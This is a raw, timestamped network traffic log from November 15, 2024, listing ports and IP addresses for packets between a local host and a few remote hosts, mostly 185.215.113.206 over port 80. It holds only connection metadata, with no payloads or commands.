Nov 15, 2024 09:55:43.914664984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914678097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914695024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914706945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914707899 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914731979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914742947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914746046 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914766073 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914776087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914788008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914789915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914808989 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914834976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914844036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914846897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914865017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914895058 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914906979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914917946 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914930105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914941072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914942026 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:43.914957047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914978027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914988041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.914990902 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.914999008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915009975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915010929 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915023088 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915026903 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.915035009 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.915035009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915046930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915066004 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915083885 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915106058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915117979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915142059 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915154934 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915177107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915188074 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915199041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915211916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915220976 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915222883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915235996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915241957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915268898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915342093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915352106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915383101 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915405035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915416002 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915426016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915436983 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915447950 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915462971 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915488958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915493011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915503979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915533066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915539980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915544033 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915555000 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915575981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915591002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915595055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915605068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915625095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915633917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915637970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915643930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915666103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915677071 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915694952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915716887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915729046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915759087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915772915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915786028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915798903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915855885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.915864944 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.915889025 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916145086 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.916208029 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.916233063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916244984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916249990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916255951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916304111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916557074 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916579008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916589022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916608095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916620970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916682959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916695118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916701078 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916711092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916729927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916750908 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916766882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916779995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916793108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916805029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916824102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916836977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916846991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916850090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916860104 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916879892 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916893959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916923046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916933060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916944027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916960955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916965961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.916971922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.916999102 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917016029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917057991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917068958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917088032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917098999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917098999 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917110920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917121887 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917123079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917145967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917171955 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917205095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917243004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917253971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917263985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917273998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917284966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917294979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917304993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917310953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917320967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917325020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917335987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917346954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917355061 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917366028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917377949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917378902 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917385101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917396069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917407990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917418957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917424917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917438030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917438030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917453051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917464972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917468071 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917479038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.917489052 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917505980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.917526960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.923702955 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:43.923789024 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:43.924230099 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.924304962 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.945192099 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:43.945216894 CET	49960	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:43.945224047 CET	443	49960	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:43.945403099 CET	49958	443	192.168.2.7	20.96.153.111
Nov 15, 2024 09:55:43.945419073 CET	443	49958	20.96.153.111	192.168.2.7
Nov 15, 2024 09:55:43.960877895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.960892916 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.960910082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.960922003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.960931063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.960933924 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.960944891 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.960952044 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.960994005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.961407900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.961448908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.961461067 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.961466074 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.961483955 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.961500883 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.961502075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.961515903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.961525917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:43.961539030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:43.961558104 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033560038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033596039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033607006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033620119 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033643961 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033663988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033675909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033689022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033706903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033715010 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033720016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033731937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033734083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033744097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033756971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033761978 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033768892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033790112 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033802986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033807039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033844948 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033910990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033925056 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033936024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033947945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033957958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033972025 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033979893 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.033987045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033993006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.033997059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034018040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034041882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034068108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034080029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034097910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034102917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034110069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034116030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034121990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034130096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034135103 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034153938 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034172058 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034177065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034192085 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034209013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034215927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034225941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034229040 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034255981 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034271002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034334898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034347057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034358978 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034373045 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034398079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034442902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034456968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034467936 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034478903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034488916 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034514904 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034625053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034670115 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034679890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034703970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034718990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034739971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034750938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034760952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034771919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034778118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034778118 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034804106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034816027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034816027 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034826994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034837008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034838915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034861088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034869909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034879923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034883976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034898043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.034914970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.034929991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035149097 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035212994 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035248041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035258055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035269022 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035283089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035291910 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035295010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035322905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035336018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035463095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035475969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035486937 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035507917 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035545111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035592079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035593987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035599947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035602093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035608053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035610914 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035619020 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035638094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035654068 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035657883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035670042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035701990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035701990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035713911 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035725117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035734892 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035739899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035763979 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035777092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035787106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035788059 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035805941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035815001 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035815954 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035828114 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035840988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035846949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035851955 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035866022 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035871029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035881996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035892010 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035893917 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035907030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035917997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035918951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035933018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035959959 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.035967112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035978079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.035989046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036000013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:44.036011934 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036030054 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:44.036058903 CET	80	49872	185.215.113.206	192.168.2.7
